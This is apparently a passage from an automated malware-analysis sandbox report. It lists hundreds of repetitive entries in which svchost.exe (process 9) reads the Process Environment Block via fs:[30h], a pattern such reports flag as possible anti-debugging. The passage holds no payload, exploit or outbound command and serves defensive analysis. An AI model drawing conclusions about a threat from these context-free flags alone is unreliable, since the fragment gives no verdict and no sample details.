Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB035C mov eax, dword ptr fs:[00000030h]	9_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFA352 mov eax, dword ptr fs:[00000030h]	9_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEF367 mov eax, dword ptr fs:[00000030h]	9_2_03CEF367
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CD437C mov eax, dword ptr fs:[00000030h]	9_2_03CD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C37370 mov eax, dword ptr fs:[00000030h]	9_2_03C37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C37370 mov eax, dword ptr fs:[00000030h]	9_2_03C37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C37370 mov eax, dword ptr fs:[00000030h]	9_2_03C37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB930B mov eax, dword ptr fs:[00000030h]	9_2_03CB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB930B mov eax, dword ptr fs:[00000030h]	9_2_03CB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB930B mov eax, dword ptr fs:[00000030h]	9_2_03CB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6A30B mov eax, dword ptr fs:[00000030h]	9_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6A30B mov eax, dword ptr fs:[00000030h]	9_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6A30B mov eax, dword ptr fs:[00000030h]	9_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2C310 mov ecx, dword ptr fs:[00000030h]	9_2_03C2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C50310 mov ecx, dword ptr fs:[00000030h]	9_2_03C50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF132D mov eax, dword ptr fs:[00000030h]	9_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF132D mov eax, dword ptr fs:[00000030h]	9_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5F32A mov eax, dword ptr fs:[00000030h]	9_2_03C5F32A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C27330 mov eax, dword ptr fs:[00000030h]	9_2_03C27330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	9_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	9_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	9_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	9_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	9_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	9_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	9_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	9_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	9_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	9_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	9_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	9_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C392C5 mov eax, dword ptr fs:[00000030h]	9_2_03C392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C392C5 mov eax, dword ptr fs:[00000030h]	9_2_03C392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2B2D3 mov eax, dword ptr fs:[00000030h]	9_2_03C2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2B2D3 mov eax, dword ptr fs:[00000030h]	9_2_03C2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2B2D3 mov eax, dword ptr fs:[00000030h]	9_2_03C2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5F2D0 mov eax, dword ptr fs:[00000030h]	9_2_03C5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5F2D0 mov eax, dword ptr fs:[00000030h]	9_2_03C5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED mov eax, dword ptr fs:[00000030h]	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C402E1 mov eax, dword ptr fs:[00000030h]	9_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C402E1 mov eax, dword ptr fs:[00000030h]	9_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C402E1 mov eax, dword ptr fs:[00000030h]	9_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D052E2 mov eax, dword ptr fs:[00000030h]	9_2_03D052E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEF2F8 mov eax, dword ptr fs:[00000030h]	9_2_03CEF2F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C292FF mov eax, dword ptr fs:[00000030h]	9_2_03C292FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6E284 mov eax, dword ptr fs:[00000030h]	9_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6E284 mov eax, dword ptr fs:[00000030h]	9_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB0283 mov eax, dword ptr fs:[00000030h]	9_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB0283 mov eax, dword ptr fs:[00000030h]	9_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB0283 mov eax, dword ptr fs:[00000030h]	9_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D05283 mov eax, dword ptr fs:[00000030h]	9_2_03D05283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6329E mov eax, dword ptr fs:[00000030h]	9_2_03C6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6329E mov eax, dword ptr fs:[00000030h]	9_2_03C6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C402A0 mov eax, dword ptr fs:[00000030h]	9_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C402A0 mov eax, dword ptr fs:[00000030h]	9_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C452A0 mov eax, dword ptr fs:[00000030h]	9_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C452A0 mov eax, dword ptr fs:[00000030h]	9_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C452A0 mov eax, dword ptr fs:[00000030h]	9_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C452A0 mov eax, dword ptr fs:[00000030h]	9_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF92A6 mov eax, dword ptr fs:[00000030h]	9_2_03CF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF92A6 mov eax, dword ptr fs:[00000030h]	9_2_03CF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF92A6 mov eax, dword ptr fs:[00000030h]	9_2_03CF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF92A6 mov eax, dword ptr fs:[00000030h]	9_2_03CF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	9_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC62A0 mov ecx, dword ptr fs:[00000030h]	9_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	9_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	9_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	9_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	9_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC72A0 mov eax, dword ptr fs:[00000030h]	9_2_03CC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC72A0 mov eax, dword ptr fs:[00000030h]	9_2_03CC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB92BC mov eax, dword ptr fs:[00000030h]	9_2_03CB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB92BC mov eax, dword ptr fs:[00000030h]	9_2_03CB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB92BC mov ecx, dword ptr fs:[00000030h]	9_2_03CB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB92BC mov ecx, dword ptr fs:[00000030h]	9_2_03CB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C29240 mov eax, dword ptr fs:[00000030h]	9_2_03C29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C29240 mov eax, dword ptr fs:[00000030h]	9_2_03C29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6724D mov eax, dword ptr fs:[00000030h]	9_2_03C6724D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2A250 mov eax, dword ptr fs:[00000030h]	9_2_03C2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEB256 mov eax, dword ptr fs:[00000030h]	9_2_03CEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEB256 mov eax, dword ptr fs:[00000030h]	9_2_03CEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C36259 mov eax, dword ptr fs:[00000030h]	9_2_03C36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C34260 mov eax, dword ptr fs:[00000030h]	9_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C34260 mov eax, dword ptr fs:[00000030h]	9_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C34260 mov eax, dword ptr fs:[00000030h]	9_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFD26B mov eax, dword ptr fs:[00000030h]	9_2_03CFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFD26B mov eax, dword ptr fs:[00000030h]	9_2_03CFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2826B mov eax, dword ptr fs:[00000030h]	9_2_03C2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C59274 mov eax, dword ptr fs:[00000030h]	9_2_03C59274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C71270 mov eax, dword ptr fs:[00000030h]	9_2_03C71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C71270 mov eax, dword ptr fs:[00000030h]	9_2_03C71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274 mov eax, dword ptr fs:[00000030h]	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C67208 mov eax, dword ptr fs:[00000030h]	9_2_03C67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C67208 mov eax, dword ptr fs:[00000030h]	9_2_03C67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D05227 mov eax, dword ptr fs:[00000030h]	9_2_03D05227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2823B mov eax, dword ptr fs:[00000030h]	9_2_03C2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	9_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	9_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6D1D0 mov eax, dword ptr fs:[00000030h]	9_2_03C6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6D1D0 mov ecx, dword ptr fs:[00000030h]	9_2_03C6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D051CB mov eax, dword ptr fs:[00000030h]	9_2_03D051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C551EF mov eax, dword ptr fs:[00000030h]	9_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C351ED mov eax, dword ptr fs:[00000030h]	9_2_03C351ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D061E5 mov eax, dword ptr fs:[00000030h]	9_2_03D061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C601F8 mov eax, dword ptr fs:[00000030h]	9_2_03C601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C70185 mov eax, dword ptr fs:[00000030h]	9_2_03C70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEC188 mov eax, dword ptr fs:[00000030h]	9_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEC188 mov eax, dword ptr fs:[00000030h]	9_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB019F mov eax, dword ptr fs:[00000030h]	9_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB019F mov eax, dword ptr fs:[00000030h]	9_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB019F mov eax, dword ptr fs:[00000030h]	9_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB019F mov eax, dword ptr fs:[00000030h]	9_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2A197 mov eax, dword ptr fs:[00000030h]	9_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2A197 mov eax, dword ptr fs:[00000030h]	9_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2A197 mov eax, dword ptr fs:[00000030h]	9_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C87190 mov eax, dword ptr fs:[00000030h]	9_2_03C87190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE11A4 mov eax, dword ptr fs:[00000030h]	9_2_03CE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE11A4 mov eax, dword ptr fs:[00000030h]	9_2_03CE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE11A4 mov eax, dword ptr fs:[00000030h]	9_2_03CE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE11A4 mov eax, dword ptr fs:[00000030h]	9_2_03CE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4B1B0 mov eax, dword ptr fs:[00000030h]	9_2_03C4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D05152 mov eax, dword ptr fs:[00000030h]	9_2_03D05152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC4144 mov eax, dword ptr fs:[00000030h]	9_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC4144 mov eax, dword ptr fs:[00000030h]	9_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC4144 mov ecx, dword ptr fs:[00000030h]	9_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC4144 mov eax, dword ptr fs:[00000030h]	9_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC4144 mov eax, dword ptr fs:[00000030h]	9_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C29148 mov eax, dword ptr fs:[00000030h]	9_2_03C29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C29148 mov eax, dword ptr fs:[00000030h]	9_2_03C29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C29148 mov eax, dword ptr fs:[00000030h]	9_2_03C29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C29148 mov eax, dword ptr fs:[00000030h]	9_2_03C29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C37152 mov eax, dword ptr fs:[00000030h]	9_2_03C37152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2C156 mov eax, dword ptr fs:[00000030h]	9_2_03C2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C36154 mov eax, dword ptr fs:[00000030h]	9_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C36154 mov eax, dword ptr fs:[00000030h]	9_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172 mov eax, dword ptr fs:[00000030h]	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CC9179 mov eax, dword ptr fs:[00000030h]	9_2_03CC9179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CDA118 mov ecx, dword ptr fs:[00000030h]	9_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CDA118 mov eax, dword ptr fs:[00000030h]	9_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CDA118 mov eax, dword ptr fs:[00000030h]	9_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CDA118 mov eax, dword ptr fs:[00000030h]	9_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF0115 mov eax, dword ptr fs:[00000030h]	9_2_03CF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C60124 mov eax, dword ptr fs:[00000030h]	9_2_03C60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C31131 mov eax, dword ptr fs:[00000030h]	9_2_03C31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C31131 mov eax, dword ptr fs:[00000030h]	9_2_03C31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2B136 mov eax, dword ptr fs:[00000030h]	9_2_03C2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2B136 mov eax, dword ptr fs:[00000030h]	9_2_03C2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2B136 mov eax, dword ptr fs:[00000030h]	9_2_03C2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2B136 mov eax, dword ptr fs:[00000030h]	9_2_03C2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov eax, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov ecx, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov ecx, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov eax, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov ecx, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov ecx, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov eax, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov eax, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov eax, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov eax, dword ptr fs:[00000030h]	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0 mov eax, dword ptr fs:[00000030h]	9_2_03C470C0
